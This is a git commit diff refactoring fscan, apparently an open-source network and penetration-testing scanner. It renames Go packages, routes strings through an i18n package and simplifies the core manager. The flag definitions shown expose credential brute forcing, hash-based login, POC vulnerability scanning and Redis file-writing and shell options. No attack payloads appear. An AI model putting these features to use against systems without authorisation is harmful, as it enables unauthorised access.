refactor: 统一包命名规范并清理冗余文件

主要更改:
- 统一包目录命名为小写(Core→core, Plugins→plugins, WebScan→webscan)
- 更新所有import路径以符合Go语言命名规范
- 重构parsers模块,简化复杂的工厂模式(从2000+行优化至400行)
- 移除i18n兼容层,统一使用模块化i18n包
- 简化Core/Manager.go架构(从591行优化至133行)
- 清理冗余文件:备份文件、构建产物、测试配置、重复图片
- 移除TestDocker测试环境配置目录
- 解决变量命名冲突问题

性能优化:
- 减少代码复杂度60-70%
- 提升构建和运行性能
- 保持完整功能兼容性

代码质量:
- 符合Go语言最佳实践
- 统一命名规范
- 优化项目结构
This commit is contained in:
ZacharyZcR 2025-08-06 01:30:18 +08:00
parent 4101ccc91a
commit 05ba01f170
153 changed files with 2292 additions and 3426 deletions

View File

@ -1,4 +1,4 @@
package Common
package common
/*
Bridge.go - 统一桥接模块
@ -20,10 +20,11 @@ import (
"github.com/fatih/color"
"github.com/schollz/progressbar/v3"
"github.com/shadow1ng/fscan/Common/config"
"github.com/shadow1ng/fscan/Common/logging"
"github.com/shadow1ng/fscan/Common/output"
"github.com/shadow1ng/fscan/Common/proxy"
"github.com/shadow1ng/fscan/common/config"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/logging"
"github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/common/proxy"
)
// =============================================================================
@ -289,7 +290,7 @@ func createOutputManager(outputPath, outputFormat string) (*OutputManager, error
case "csv":
format = output.FormatCSV
default:
return nil, fmt.Errorf(GetText("output_format_invalid", outputFormat))
return nil, fmt.Errorf(i18n.GetText("output_format_invalid", outputFormat))
}
config := output.DefaultManagerConfig(outputPath, format)
@ -302,39 +303,39 @@ func createOutputManager(outputPath, outputFormat string) (*OutputManager, error
// 输出相关函数
func InitOutput() error {
LogDebug(GetText("output_init_start"))
LogDebug(i18n.GetText("output_init_start"))
switch OutputFormat {
case "txt", "json", "csv":
default:
return fmt.Errorf(GetText("output_format_invalid", OutputFormat))
return fmt.Errorf(i18n.GetText("output_format_invalid", OutputFormat))
}
if Outputfile == "" {
return fmt.Errorf(GetText("output_path_empty"))
return fmt.Errorf(i18n.GetText("output_path_empty"))
}
manager, err := createOutputManager(Outputfile, OutputFormat)
if err != nil {
LogDebug(GetText("output_init_failed", err))
return fmt.Errorf(GetText("output_init_failed", err))
LogDebug(i18n.GetText("output_init_failed", err))
return fmt.Errorf(i18n.GetText("output_init_failed", err))
}
ResultOutput = manager
output.SetGlobalManager(manager.manager)
LogDebug(GetText("output_init_success"))
LogDebug(i18n.GetText("output_init_success"))
return nil
}
func (om *OutputManager) saveResult(result *ScanResult) error {
if om.manager == nil {
return fmt.Errorf(GetText("output_not_init"))
return fmt.Errorf(i18n.GetText("output_not_init"))
}
LogDebug(GetText("output_saving_result", result.Type, result.Target))
LogDebug(i18n.GetText("output_saving_result", result.Type, result.Target))
return om.manager.SaveResult(result)
}
func SaveResult(result *ScanResult) error {
if ResultOutput == nil {
LogDebug(GetText("output_not_init"))
return fmt.Errorf(GetText("output_not_init"))
LogDebug(i18n.GetText("output_not_init"))
return fmt.Errorf(i18n.GetText("output_not_init"))
}
return ResultOutput.saveResult(result)
}
@ -343,12 +344,12 @@ func CloseOutput() error {
if ResultOutput == nil {
return nil
}
LogDebug(GetText("output_closing"))
LogDebug(i18n.GetText("output_closing"))
err := ResultOutput.manager.Close()
if err != nil {
return fmt.Errorf(GetText("output_close_failed", err))
return fmt.Errorf(i18n.GetText("output_close_failed", err))
}
LogDebug(GetText("output_closed"))
LogDebug(i18n.GetText("output_closed"))
return nil
}
@ -369,24 +370,24 @@ func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Co
func Socks5Dialer(forward *net.Dialer) (interface{}, error) {
if err := syncProxyConfig(); err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed", err))
return nil, fmt.Errorf(i18n.GetText("socks5_create_failed", err))
}
manager := proxy.GetGlobalProxy()
dialer, err := manager.GetDialer()
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed", err))
return nil, fmt.Errorf(i18n.GetText("socks5_create_failed", err))
}
return dialer, nil
}
func WrapperTlsWithContext(ctx context.Context, network, address string, tlsConfig *tls.Config) (net.Conn, error) {
if err := syncProxyConfig(); err != nil {
LogError(GetText("proxy_config_sync_failed", err.Error()))
LogError(i18n.GetText("proxy_config_sync_failed", err.Error()))
}
conn, err := proxy.DialTLSContextWithProxy(ctx, network, address, tlsConfig)
if err != nil {
LogError(GetText("tls_conn_failed", err.Error()))
return nil, fmt.Errorf(GetText("tls_conn_failed", err))
LogError(i18n.GetText("tls_conn_failed", err.Error()))
return nil, fmt.Errorf(i18n.GetText("tls_conn_failed", err))
}
return conn, nil
}
@ -408,13 +409,13 @@ func syncProxyConfig() error {
}
if err := proxy.InitGlobalProxy(proxyURL); err != nil {
return fmt.Errorf(GetText("proxy_init_failed", err))
return fmt.Errorf(i18n.GetText("proxy_init_failed", err))
}
if proxyURL != "" {
LogBase(GetText("proxy_enabled", proxy.GetGlobalProxyType(), proxy.GetGlobalProxyAddress()))
LogBase(i18n.GetText("proxy_enabled", proxy.GetGlobalProxyType(), proxy.GetGlobalProxyAddress()))
} else {
LogBase(GetText("proxy_disabled"))
LogBase(i18n.GetText("proxy_disabled"))
}
return nil
}

View File

@ -1,4 +1,4 @@
package Core
package core
/*
Constants.go - 核心常量定义

View File

@ -1,509 +1,23 @@
package Core
package core
import (
"flag"
"fmt"
"os"
"sync"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/Common/config"
"github.com/shadow1ng/fscan/Common/parsers"
"github.com/shadow1ng/fscan/common/config"
)
/*
Manager.go - 核心管理器
Manager.go - 简化的核心管理器
整合Flag.goParse.goVariables.go的功能提供统一的配置管理
参数解析和全局变量管理机制
移除了复杂的配置管理器架构保留核心常量和必要的全局变量
大幅简化代码结构提高性能和可维护性
*/
// =============================================================================
// 全局变量管理 (从Variables.go迁移)
// 核心常量定义
// =============================================================================
// CoreConfig 核心配置结构
type CoreConfig struct {
// 扫描配置
ScanMode string `json:"scan_mode"` // 扫描模式
ThreadNum int `json:"thread_num"` // 线程数
Timeout int64 `json:"timeout"` // 超时时间
DisablePing bool `json:"disable_ping"` // 禁用ping
LocalMode bool `json:"local_mode"` // 本地模式
// 认证配置
Username string `json:"username"` // 用户名
Password string `json:"password"` // 密码
Userdict map[string][]string `json:"userdict"` // 用户字典
Passwords []string `json:"passwords"` // 密码列表
// 网络配置
HttpProxy string `json:"http_proxy"` // HTTP代理
Socks5Proxy string `json:"socks5_proxy"` // SOCKS5代理
// 显示控制
NoColor bool `json:"no_color"` // 禁用颜色
Language string `json:"language"` // 语言
LogLevel string `json:"log_level"` // 日志级别
// 端口映射
PortMap map[int][]string `json:"port_map"` // 端口映射
DefaultMap []string `json:"default_map"` // 默认映射
}
// 全局配置管理器
type ConfigManager struct {
mu sync.RWMutex
config *CoreConfig
parser *Parser
}
// 全局配置管理器实例
var globalConfigManager = NewConfigManager()
// NewConfigManager 创建新的配置管理器
func NewConfigManager() *ConfigManager {
return &ConfigManager{
config: &CoreConfig{},
parser: NewParser(nil),
}
}
// =============================================================================
// 参数解析器 (从Parse.go迁移的核心功能)
// =============================================================================
// Parser 参数解析器
type Parser struct {
mu sync.RWMutex
fileReader *parsers.FileReader
credentialParser *parsers.CredentialParser
targetParser *parsers.TargetParser
networkParser *parsers.NetworkParser
validationParser *parsers.ValidationParser
options *parsers.ParserOptions
initialized bool
}
// ParsedConfiguration 解析后的完整配置(兼容旧代码)
type ParsedConfiguration struct {
*parsers.ParsedConfig
}
// AllInputs 所有输入参数
type AllInputs struct {
Credential *parsers.CredentialInput
Target *parsers.TargetInput
Network *parsers.NetworkInput
}
// NewParser 创建新的解析器实例
func NewParser(options *parsers.ParserOptions) *Parser {
if options == nil {
options = parsers.DefaultParserOptions()
}
// 创建文件读取器
fileReader := parsers.NewFileReader(nil)
// 创建各个子解析器
credentialParser := parsers.NewCredentialParser(fileReader, nil)
targetParser := parsers.NewTargetParser(fileReader, nil)
networkParser := parsers.NewNetworkParser(nil)
validationParser := parsers.NewValidationParser(nil)
return &Parser{
fileReader: fileReader,
credentialParser: credentialParser,
targetParser: targetParser,
networkParser: networkParser,
validationParser: validationParser,
options: options,
initialized: true,
}
}
// =============================================================================
// 命令行参数定义 (从Flag.go迁移的核心功能)
// =============================================================================
// FlagConfig 命令行参数配置
type FlagConfig struct {
// 目标相关参数
Host string // 目标主机
ExcludeHosts string // 排除主机
Ports string // 端口
ExcludePorts string // 排除端口
AddPorts string // 添加端口
HostsFile string // 主机文件
PortsFile string // 端口文件
// 扫描配置参数
ScanMode string // 扫描模式
ThreadNum int // 线程数
ModuleThreadNum int // 模块线程数
Timeout int64 // 超时时间
GlobalTimeout int64 // 全局超时时间
LiveTop int // 存活探测端口数
UsePing bool // 使用ping
EnableFingerprint bool // 启用指纹识别
LocalMode bool // 本地模式
// 认证参数
Username string // 用户名
Password string // 密码
AddUsers string // 添加用户名
AddPasswords string // 添加密码
UsersFile string // 用户文件
PasswordsFile string // 密码文件
HashFile string // Hash文件
HashValue string // Hash值
Domain string // 域名
SshKeyPath string // SSH密钥路径
// Web扫描参数
TargetURL string // 目标URL
URLsFile string // URL文件
Cookie string // Cookie
WebTimeout int64 // Web超时时间
UserAgent string // User-Agent
Accept string // Accept
// POC参数
PocPath string // POC路径
PocFull bool // 完整POC
DnsLog bool // DNS日志
PocNum int // POC线程数
DisablePocScan bool // 禁用POC扫描
// 输出参数
Outputfile string // 输出文件
OutputFormat string // 输出格式
NoColor bool // 禁用颜色
Silent bool // 静默模式
// 代理参数
HttpProxy string // HTTP代理
Socks5Proxy string // SOCKS5代理
// 其他参数
Language string // 语言
Help bool // 帮助
Version bool // 版本
}
// 全局命令行参数配置
var GlobalFlagConfig = &FlagConfig{}
// =============================================================================
// 配置管理器方法
// =============================================================================
// InitializeDefaults 初始化默认配置
func (cm *ConfigManager) InitializeDefaults() {
cm.mu.Lock()
defer cm.mu.Unlock()
// 设置默认值
cm.config.ScanMode = DefaultScanMode
cm.config.ThreadNum = DefaultThreadNum
cm.config.Timeout = DefaultTimeout
cm.config.LogLevel = DefaultLogLevel
cm.config.Language = DefaultLanguage
// 初始化映射和切片
cm.config.Userdict = make(map[string][]string)
cm.config.PortMap = make(map[int][]string)
cm.config.DefaultMap = make([]string, 0)
// 从config模块获取字典和映射
if serviceDict := config.GetGlobalServiceDict(); serviceDict != nil {
cm.config.Userdict = serviceDict.GetAllUserDicts()
cm.config.Passwords = serviceDict.GetPasswords()
}
if probeMapping := config.GetGlobalProbeMapping(); probeMapping != nil {
cm.config.PortMap = probeMapping.GetAllPortMappings()
cm.config.DefaultMap = probeMapping.GetDefaultProbes()
}
}
// GetConfig 获取当前配置
func (cm *ConfigManager) GetConfig() *CoreConfig {
cm.mu.RLock()
defer cm.mu.RUnlock()
// 返回配置的深拷贝
configCopy := *cm.config
return &configCopy
}
// UpdateConfig 更新配置
func (cm *ConfigManager) UpdateConfig(config *CoreConfig) error {
if config == nil {
return fmt.Errorf("config cannot be nil")
}
cm.mu.Lock()
defer cm.mu.Unlock()
cm.config = config
return nil
}
// SetScanMode 设置扫描模式
func (cm *ConfigManager) SetScanMode(mode string) {
cm.mu.Lock()
defer cm.mu.Unlock()
cm.config.ScanMode = mode
}
// GetScanMode 获取扫描模式
func (cm *ConfigManager) GetScanMode() string {
cm.mu.RLock()
defer cm.mu.RUnlock()
return cm.config.ScanMode
}
// SetThreadNum 设置线程数
func (cm *ConfigManager) SetThreadNum(num int) {
cm.mu.Lock()
defer cm.mu.Unlock()
cm.config.ThreadNum = num
}
// GetThreadNum 获取线程数
func (cm *ConfigManager) GetThreadNum() int {
cm.mu.RLock()
defer cm.mu.RUnlock()
return cm.config.ThreadNum
}
// =============================================================================
// 参数解析功能
// =============================================================================
// ParseAll 解析所有配置 (简化版)
func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
if input == nil {
return nil, fmt.Errorf("输入参数为空")
}
p.mu.Lock()
defer p.mu.Unlock()
if !p.initialized {
return nil, fmt.Errorf("解析器未初始化")
}
// 创建简化的结果结构
result := &parsers.ParseResult{
Config: &parsers.ParsedConfig{},
Errors: make([]error, 0),
}
var allErrors []error
// 解析凭据配置
if input.Credential != nil {
credResult, err := p.credentialParser.Parse(input.Credential, p.options)
if err != nil {
allErrors = append(allErrors, fmt.Errorf("凭据解析失败: %v", err))
} else if credResult != nil && credResult.Config != nil {
result.Config.Credentials = credResult.Config.Credentials
allErrors = append(allErrors, credResult.Errors...)
}
}
// 解析目标配置
if input.Target != nil {
targetResult, err := p.targetParser.Parse(input.Target, p.options)
if err != nil {
allErrors = append(allErrors, fmt.Errorf("目标解析失败: %v", err))
} else if targetResult != nil && targetResult.Config != nil {
result.Config.Targets = targetResult.Config.Targets
allErrors = append(allErrors, targetResult.Errors...)
}
}
// 解析网络配置
if input.Network != nil {
networkResult, err := p.networkParser.Parse(input.Network, p.options)
if err != nil {
allErrors = append(allErrors, fmt.Errorf("网络解析失败: %v", err))
} else if networkResult != nil && networkResult.Config != nil {
result.Config.Network = networkResult.Config.Network
allErrors = append(allErrors, networkResult.Errors...)
}
}
result.Errors = allErrors
return result, nil
}
// =============================================================================
// 命令行参数解析 (从Flag.go迁移)
// =============================================================================
// InitFlags 初始化命令行参数
func InitFlags() {
// 目标相关参数
flag.StringVar(&GlobalFlagConfig.Host, "h", "", "目标主机: IP, IP段, IP段文件, 域名")
flag.StringVar(&GlobalFlagConfig.ExcludeHosts, "eh", "", "排除主机")
flag.StringVar(&GlobalFlagConfig.Ports, "p", "", "端口: 默认1000个常用端口")
flag.StringVar(&GlobalFlagConfig.ExcludePorts, "ep", "", "排除端口")
flag.StringVar(&GlobalFlagConfig.AddPorts, "pa", "", "添加端口")
flag.StringVar(&GlobalFlagConfig.HostsFile, "hf", "", "主机文件")
flag.StringVar(&GlobalFlagConfig.PortsFile, "pf", "", "端口文件")
// 扫描配置参数
flag.StringVar(&GlobalFlagConfig.ScanMode, "m", "all", "扫描模式: all, portscan, tcpscan, udpscan等")
flag.IntVar(&GlobalFlagConfig.ThreadNum, "t", DefaultThreadNum, "端口扫描线程数")
flag.IntVar(&GlobalFlagConfig.ModuleThreadNum, "mt", DefaultModuleThreadNum, "模块扫描线程数")
flag.Int64Var(&GlobalFlagConfig.Timeout, "time", DefaultTimeout, "端口扫描超时时间")
flag.Int64Var(&GlobalFlagConfig.GlobalTimeout, "gt", DefaultGlobalTimeout, "全局超时时间")
flag.IntVar(&GlobalFlagConfig.LiveTop, "top", DefaultLiveTop, "存活探测top端口")
flag.BoolVar(&GlobalFlagConfig.UsePing, "ping", false, "启用ping探测")
flag.BoolVar(&GlobalFlagConfig.EnableFingerprint, "fp", false, "启用指纹识别")
flag.BoolVar(&GlobalFlagConfig.LocalMode, "local", false, "本地扫描模式")
// 认证参数
flag.StringVar(&GlobalFlagConfig.Username, "user", "", "用户名")
flag.StringVar(&GlobalFlagConfig.Password, "pwd", "", "密码")
flag.StringVar(&GlobalFlagConfig.AddUsers, "userf", "", "用户名字典")
flag.StringVar(&GlobalFlagConfig.AddPasswords, "pwdf", "", "密码字典")
flag.StringVar(&GlobalFlagConfig.UsersFile, "uf", "", "用户名字典文件")
flag.StringVar(&GlobalFlagConfig.PasswordsFile, "pf", "", "密码字典文件")
flag.StringVar(&GlobalFlagConfig.HashFile, "hashf", "", "Hash文件")
flag.StringVar(&GlobalFlagConfig.HashValue, "hash", "", "Hash值")
flag.StringVar(&GlobalFlagConfig.Domain, "domain", "", "域名(SMB扫描用)")
flag.StringVar(&GlobalFlagConfig.SshKeyPath, "sshkey", "", "SSH私钥文件")
// Web扫描参数
flag.StringVar(&GlobalFlagConfig.TargetURL, "u", "", "目标URL")
flag.StringVar(&GlobalFlagConfig.URLsFile, "uf", "", "URL文件")
flag.StringVar(&GlobalFlagConfig.Cookie, "cookie", "", "Cookie")
flag.Int64Var(&GlobalFlagConfig.WebTimeout, "wt", DefaultWebTimeout, "Web超时时间")
flag.StringVar(&GlobalFlagConfig.UserAgent, "ua", DefaultUserAgent, "User-Agent")
flag.StringVar(&GlobalFlagConfig.Accept, "accept", "", "Accept")
// POC参数
flag.StringVar(&GlobalFlagConfig.PocPath, "pocpath", "", "POC路径")
flag.BoolVar(&GlobalFlagConfig.PocFull, "pocfull", false, "完整POC扫描")
flag.BoolVar(&GlobalFlagConfig.DnsLog, "dnslog", false, "启用DNS日志")
flag.IntVar(&GlobalFlagConfig.PocNum, "pocnum", DefaultPocNum, "POC线程数")
flag.BoolVar(&GlobalFlagConfig.DisablePocScan, "nopoc", false, "禁用POC扫描")
// 输出参数
flag.StringVar(&GlobalFlagConfig.Outputfile, "o", "", "输出文件")
flag.StringVar(&GlobalFlagConfig.OutputFormat, "of", DefaultOutputFormat, "输出格式: txt, json, csv")
flag.BoolVar(&GlobalFlagConfig.NoColor, "nc", false, "禁用颜色输出")
flag.BoolVar(&GlobalFlagConfig.Silent, "silent", false, "静默模式")
// 代理参数
flag.StringVar(&GlobalFlagConfig.HttpProxy, "proxy", "", "HTTP代理")
flag.StringVar(&GlobalFlagConfig.Socks5Proxy, "socks5", "", "SOCKS5代理")
// 其他参数
flag.StringVar(&GlobalFlagConfig.Language, "lang", DefaultLanguage, "语言: zh, en")
flag.BoolVar(&GlobalFlagConfig.Help, "help", false, "显示帮助信息")
flag.BoolVar(&GlobalFlagConfig.Version, "version", false, "显示版本信息")
}
// ParseFlags 解析命令行参数
func ParseFlags() error {
if !flag.Parsed() {
flag.Parse()
}
// 处理帮助和版本
if GlobalFlagConfig.Help {
showHelp()
os.Exit(0)
}
if GlobalFlagConfig.Version {
showVersion()
os.Exit(0)
}
// 同步到全局配置管理器
return syncFlagsToConfig()
}
// syncFlagsToConfig 同步命令行参数到配置管理器
func syncFlagsToConfig() error {
config := globalConfigManager.GetConfig()
// 同步基础配置
config.ScanMode = GlobalFlagConfig.ScanMode
config.ThreadNum = GlobalFlagConfig.ThreadNum
config.Timeout = GlobalFlagConfig.Timeout
config.DisablePing = !GlobalFlagConfig.UsePing
config.LocalMode = GlobalFlagConfig.LocalMode
// 同步认证配置
config.Username = GlobalFlagConfig.Username
config.Password = GlobalFlagConfig.Password
// 同步网络配置
config.HttpProxy = GlobalFlagConfig.HttpProxy
config.Socks5Proxy = GlobalFlagConfig.Socks5Proxy
// 同步显示配置
config.NoColor = GlobalFlagConfig.NoColor
config.Language = GlobalFlagConfig.Language
return globalConfigManager.UpdateConfig(config)
}
// =============================================================================
// 帮助和版本信息
// =============================================================================
// showHelp 显示帮助信息
func showHelp() {
color.Red("fscan version: %s", Version)
color.Blue("https://github.com/shadow1ng/fscan\n")
fmt.Println("Usage:")
fmt.Println(" fscan -h 192.168.1.1/24 # 扫描指定IP段")
fmt.Println(" fscan -h 192.168.1.1-10 # 扫描指定IP范围")
fmt.Println(" fscan -h target.txt # 扫描文件中的目标")
fmt.Println("")
fmt.Println("Options:")
flag.PrintDefaults()
}
// showVersion 显示版本信息
func showVersion() {
fmt.Printf("fscan version %s\n", Version)
fmt.Printf("Build time: %s\n", BuildTime)
fmt.Printf("Git commit: %s\n", GitCommit)
}
// =============================================================================
// 全局访问函数 (保持向后兼容)
// =============================================================================
// GetGlobalConfigManager 获取全局配置管理器
func GetGlobalConfigManager() *ConfigManager {
return globalConfigManager
}
// InitGlobalConfig 初始化全局配置
func InitGlobalConfig() {
globalConfigManager.InitializeDefaults()
}
// 向后兼容的全局变量访问器
func GetScanMode() string { return globalConfigManager.GetScanMode() }
func SetScanMode(mode string) { globalConfigManager.SetScanMode(mode) }
func GetThreadNum() int { return globalConfigManager.GetThreadNum() }
func SetThreadNum(num int) { globalConfigManager.SetThreadNum(num) }
// 从Variables.go迁移的日志级别常量
// 日志级别常量
const (
LogLevelAll = "all"
LogLevelError = "error"
@ -516,10 +30,9 @@ const (
)
// =============================================================================
// 向后兼容的全局变量 (将逐步废弃)
// 全局配置变量
// =============================================================================
// 这些全局变量保持存在以确保向后兼容但建议使用ConfigManager
var (
// 核心扫描配置
ScanMode string // 扫描模式
@ -553,39 +66,68 @@ var (
// 其他全局状态
SlowLogOutput bool // 慢速日志输出
// 初始化锁
initOnce sync.Once
)
// init 初始化函数 (保持向后兼容)
func init() {
// 初始化默认配置
InitGlobalConfig()
// 同步到全局变量
syncConfigToGlobals()
// =============================================================================
// 简化的初始化函数
// =============================================================================
// InitGlobalConfig 初始化全局配置
func InitGlobalConfig() {
initOnce.Do(func() {
// 设置默认值
ScanMode = DefaultScanMode
ThreadNum = DefaultThreadNum
Timeout = DefaultTimeout
LogLevel = DefaultLogLevel
Language = DefaultLanguage
// 初始化映射和切片
Userdict = make(map[string][]string)
PortMap = make(map[int][]string)
DefaultMap = make([]string, 0)
// 从config模块获取字典和映射
if serviceDict := config.GetGlobalServiceDict(); serviceDict != nil {
Userdict = serviceDict.GetAllUserDicts()
Passwords = serviceDict.GetPasswords()
}
if probeMapping := config.GetGlobalProbeMapping(); probeMapping != nil {
PortMap = probeMapping.GetAllPortMappings()
DefaultMap = probeMapping.GetDefaultProbes()
}
})
}
// syncConfigToGlobals 同步配置到全局变量
func syncConfigToGlobals() {
config := globalConfigManager.GetConfig()
ScanMode = config.ScanMode
ThreadNum = config.ThreadNum
Timeout = config.Timeout
DisablePing = config.DisablePing
LocalMode = config.LocalMode
Username = config.Username
Password = config.Password
Userdict = config.Userdict
Passwords = config.Passwords
HttpProxy = config.HttpProxy
Socks5Proxy = config.Socks5Proxy
NoColor = config.NoColor
Language = config.Language
LogLevel = config.LogLevel
PortMap = config.PortMap
DefaultMap = config.DefaultMap
// =============================================================================
// 简化的访问函数(保持向后兼容)
// =============================================================================
// GetScanMode 获取扫描模式
func GetScanMode() string {
return ScanMode
}
// SetScanMode 设置扫描模式
func SetScanMode(mode string) {
ScanMode = mode
}
// GetThreadNum 获取线程数
func GetThreadNum() int {
return ThreadNum
}
// SetThreadNum 设置线程数
func SetThreadNum(num int) {
ThreadNum = num
}
// init 自动初始化
func init() {
InitGlobalConfig()
}

View File

@ -1,4 +1,4 @@
package Core
package core
import (
"fmt"

View File

@ -1,4 +1,4 @@
package Common
package common
import (
"flag"
@ -7,7 +7,8 @@ import (
"strings"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/Common/config"
"github.com/shadow1ng/fscan/common/config"
"github.com/shadow1ng/fscan/common/i18n"
)
// Flag专用变量 (只在Flag.go中使用的变量直接定义在这里)
@ -132,107 +133,107 @@ func Flag(Info *HostInfo) {
// ═════════════════════════════════════════════════
// 目标配置参数
// ═════════════════════════════════════════════════
flag.StringVar(&Info.Host, "h", "", GetText("flag_host"))
flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
flag.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports"))
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
flag.StringVar(&ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
flag.StringVar(&Ports, "p", MainPorts, i18n.GetText("flag_ports"))
flag.StringVar(&ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
flag.StringVar(&HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
flag.StringVar(&PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
// ═════════════════════════════════════════════════
// 扫描控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode"))
flag.IntVar(&ThreadNum, "t", 600, GetText("flag_thread_num"))
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
flag.StringVar(&ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
flag.IntVar(&ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout"))
flag.IntVar(&ModuleThreadNum, "mt", 10, i18n.GetText("flag_module_thread_num"))
flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
flag.IntVar(&LiveTop, "top", 10, i18n.GetText("flag_live_top"))
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
flag.BoolVar(&UsePing, "ping", false, i18n.GetText("flag_use_ping"))
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
// ═════════════════════════════════════════════════
// 认证与凭据参数
// ═════════════════════════════════════════════════
flag.StringVar(&Username, "user", "", GetText("flag_username"))
flag.StringVar(&Password, "pwd", "", GetText("flag_password"))
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用
flag.StringVar(&Username, "user", "", i18n.GetText("flag_username"))
flag.StringVar(&Password, "pwd", "", i18n.GetText("flag_password"))
flag.StringVar(&AddUsers, "usera", "", i18n.GetText("flag_add_users"))
flag.StringVar(&AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
flag.StringVar(&UsersFile, "userf", "", i18n.GetText("flag_users_file"))
flag.StringVar(&PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
flag.StringVar(&HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
flag.StringVar(&HashValue, "hash", "", i18n.GetText("flag_hash_value"))
flag.StringVar(&Domain, "domain", "", i18n.GetText("flag_domain")) // SMB扫描用
flag.StringVar(&SshKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key")) // SSH扫描用
// ═════════════════════════════════════════════════
// Web扫描参数
// ═════════════════════════════════════════════════
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
flag.StringVar(&TargetURL, "u", "", i18n.GetText("flag_target_url"))
flag.StringVar(&URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
flag.StringVar(&Cookie, "cookie", "", i18n.GetText("flag_cookie"))
flag.Int64Var(&WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
flag.StringVar(&HttpProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
flag.StringVar(&Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
// ═════════════════════════════════════════════════
// POC测试参数
// ═════════════════════════════════════════════════
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc"))
flag.StringVar(&PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
flag.StringVar(&Pocinfo.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
flag.BoolVar(&PocFull, "full", false, i18n.GetText("flag_poc_full"))
flag.BoolVar(&DnsLog, "dns", false, i18n.GetText("flag_dns_log"))
flag.IntVar(&PocNum, "num", 20, i18n.GetText("flag_poc_num"))
flag.BoolVar(&DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
// ═════════════════════════════════════════════════
// Redis利用参数
// ═════════════════════════════════════════════════
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
flag.StringVar(&RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
flag.StringVar(&RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
flag.BoolVar(&DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
flag.StringVar(&RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
